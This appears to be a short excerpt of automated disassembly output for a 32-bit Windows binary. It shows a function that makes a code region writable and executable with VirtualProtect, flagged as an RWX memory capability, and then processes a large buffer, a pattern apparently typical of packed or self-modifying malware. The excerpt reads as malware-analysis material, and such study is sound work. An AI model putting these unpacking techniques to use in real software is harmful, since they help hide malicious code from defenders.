mov dword [esp + 4], 1
mov dword [esp], eax
mov dword [ebp - 0x124], 0x14
mov byte [ebp - 0x10c], 0
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
movzx eax, word [ebp - 0x120]
sub esp, 0x14
leave
sub eax, 0x41
ret

Function at 0x401586
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xa4
mov dword [ebp - 0x88], 0
call fcn.0040152a
test eax, eax
jne 0x401620
lea eax, [ebp - 0x8c]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
mov eax, 0x4020b6
sub eax, 0x401654
mov dword [esp], 0x401654
mov dword [esp + 4], eax
mov dword [ebp - 0x8c], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp dword [ebp - 0x8c], 0
je 0x401620
lea ebx, [ebp - 0x88]
mov dword [esp], 0
call fcn.00401420
mov dword [esp + 4], ebx
mov dword [esp], 0
call fcn.004014a3
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1b600
mov dword [esp], 0x40300c
call fcn.00401db9
xor eax, eax
mov ebx, dword [ebp - 4]
leave
ret